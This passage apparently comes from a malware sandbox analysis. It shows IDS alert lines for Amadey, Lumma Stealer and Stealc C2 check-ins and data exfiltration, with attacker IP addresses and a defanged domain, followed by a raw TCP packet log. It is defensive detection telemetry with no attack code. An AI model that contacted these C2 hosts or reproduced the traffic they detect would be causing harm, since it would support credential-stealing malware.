2024-12-10T02:50:35.482171+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:36.570058+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:40.151908+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:41.253455+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:46.605352+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49798	185.215.113.16	80	TCP
2024-12-10T02:51:05.383142+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49847	185.215.113.43	80	TCP
2024-12-10T02:51:09.814999+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49859	31.41.244.11	80	TCP
2024-12-10T02:51:15.615167+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49853	TCP
2024-12-10T02:51:17.019595+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49875	185.215.113.43	80	TCP
2024-12-10T02:51:18.496836+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49881	185.215.113.16	80	TCP
2024-12-10T02:51:24.419370+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.5	62742	1.1.1.1	53	UDP
2024-12-10T02:51:25.678749+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49897	185.215.113.43	80	TCP
2024-12-10T02:51:25.814242+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:25.814242+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:26.665696+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:26.665696+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49898	104.21.16.1	443	TCP
2024-12-10T02:51:27.154056+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49900	185.215.113.16	80	TCP
2024-12-10T02:51:28.372975+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:28.372975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:29.107128+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:29.107128+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49905	104.21.16.1	443	TCP
2024-12-10T02:51:31.477215+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49915	104.21.16.1	443	TCP
2024-12-10T02:51:31.477215+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49915	104.21.16.1	443	TCP
2024-12-10T02:51:33.956000+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49923	104.21.16.1	443	TCP
2024-12-10T02:51:33.956000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49923	104.21.16.1	443	TCP
2024-12-10T02:51:34.144107+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49921	185.215.113.43	80	TCP
2024-12-10T02:51:35.622079+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49924	185.215.113.16	80	TCP
2024-12-10T02:51:36.966144+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49930	104.21.16.1	443	TCP
2024-12-10T02:51:36.966144+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49930	104.21.16.1	443	TCP
2024-12-10T02:51:38.416135+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49931	185.215.113.206	80	TCP
2024-12-10T02:51:41.126126+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49938	104.21.16.1	443	TCP
2024-12-10T02:51:41.126126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49938	104.21.16.1	443	TCP
2024-12-10T02:51:41.664864+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49939	185.215.113.43	80	TCP
2024-12-10T02:51:41.876245+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49938	104.21.16.1	443	TCP
2024-12-10T02:51:42.938147+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:42.938147+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:43.176327+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49945	185.215.113.16	80	TCP
2024-12-10T02:51:44.238004+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:44.238004+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49946	104.21.16.1	443	TCP
2024-12-10T02:51:44.282053+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49951	104.21.16.1	443	TCP
2024-12-10T02:51:44.282053+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49951	104.21.16.1	443	TCP
2024-12-10T02:51:45.548313+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:45.548313+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:46.287364+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:46.287364+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49953	104.21.16.1	443	TCP
2024-12-10T02:51:48.727137+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49968	104.21.16.1	443	TCP
2024-12-10T02:51:48.727137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49968	104.21.16.1	443	TCP
2024-12-10T02:51:51.750576+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49979	104.21.16.1	443	TCP
2024-12-10T02:51:51.750576+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49979	104.21.16.1	443	TCP
2024-12-10T02:51:52.251340+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49980	185.215.113.43	80	TCP
2024-12-10T02:51:52.361137+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49979	104.21.16.1	443	TCP
2024-12-10T02:51:53.838934+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49987	185.215.113.16	80	TCP
2024-12-10T02:51:54.437890+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49992	104.21.16.1	443	TCP
2024-12-10T02:51:54.437890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49992	104.21.16.1	443	TCP
2024-12-10T02:51:56.685226+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49999	185.215.113.206	80	TCP
2024-12-10T02:51:57.195804+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	50001	104.21.16.1	443	TCP
2024-12-10T02:51:57.195804+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50001	104.21.16.1	443	TCP
2024-12-10T02:52:00.840605+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	50016	104.21.16.1	443	TCP
2024-12-10T02:52:00.840605+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50016	104.21.16.1	443	TCP
2024-12-10T02:52:05.730409+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	50029	104.21.16.1	443	TCP
2024-12-10T02:52:05.730409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50029	104.21.16.1	443	TCP
2024-12-10T02:52:25.957407+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50072	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 02:49:54.905435085 CET	49675	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:49:54.905435085 CET	49674	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:49:55.014791965 CET	49673	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:50:00.078831911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:00.198156118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:00.198324919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:00.198757887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:00.318135977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:01.549812078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:01.549911022 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:01.553009033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:01.672276974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.013479948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.013571978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.014626980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.133848906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.462678909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.462692976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.462774038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.463963985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.583149910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.911397934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.911510944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.911545038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.911557913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.911600113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.911600113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.911869049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.911881924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.911925077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.911925077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.912313938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.912326097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:02.912364006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.912394047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:02.913595915 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:03.032800913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.360776901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.360842943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:03.378989935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:03.379023075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:03.498255968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.498346090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.498358011 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.498420954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.498436928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.498518944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:03.498529911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:04.452486038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:04.452574015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:04.514650106 CET	49675	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:50:04.514677048 CET	49674	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:50:04.624033928 CET	49673	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:50:04.719755888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:04.839006901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.164778948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.164856911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.164896965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.164947987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.168946028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.169001102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.169023991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.169089079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.174405098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.174498081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.174504042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.174592972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.182744980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.182801962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.182868004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.182939053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.191189051 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.191296101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.191310883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.191375017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.199487925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.199553013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.199565887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.199631929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.297749996 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.297816992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.297854900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.297908068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.301893950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.301959038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.302757025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.302807093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.302870035 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.302921057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.311229944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.311311007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.311359882 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.311427116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.319513083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.319587946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.319627047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.319753885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.327941895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.328027964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.356882095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.356978893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.357112885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.357166052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.361094952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.361150980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.361186981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.361237049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.369473934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.369591951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.369714975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.369771004 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.377891064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.377954006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.378027916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.378097057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.386200905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.386272907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.386305094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.386372089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.394573927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.394664049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.394696951 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.394737959 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.402921915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.402967930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.403003931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.403048992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.430913925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.431016922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.431021929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.431097031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.434614897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.434668064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.434708118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.434797049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.441962957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.442082882 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.444061995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.444119930 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.444220066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.444272995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.451431036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.451481104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.451508999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.451559067 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.458771944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.458851099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.489768028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.489872932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.489923954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.490113974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.493433952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.493535995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.493550062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.493572950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.499187946 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.499272108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.499275923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.499325991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.506499052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.506561995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.506607056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.506650925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.513870001 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.513927937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.514029026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.514082909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.520833969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.520936012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.520940065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.520993948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.527385950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.527472019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.527475119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.527519941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.533917904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.533970118 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.534012079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.534061909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.540106058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.540167093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.540208101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.540251017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.546006918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.546082973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.549047947 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.549110889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.549149036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.549210072 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.552521944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.552601099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.552675009 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.552758932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.558448076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.558548927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.558553934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.558623075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.564358950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.564429045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.564464092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.564516068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.568788052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.568854094 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.568890095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.568944931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.572900057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.572947979 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.572989941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.573051929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.576771975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.576872110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.576874971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.576920033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.580641985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.580717087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.580758095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.580818892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.584403038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.584484100 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.584491014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.584544897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:05.588213921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:05.588303089 CET	49704	80	192.168.2.5	185.215.113.206
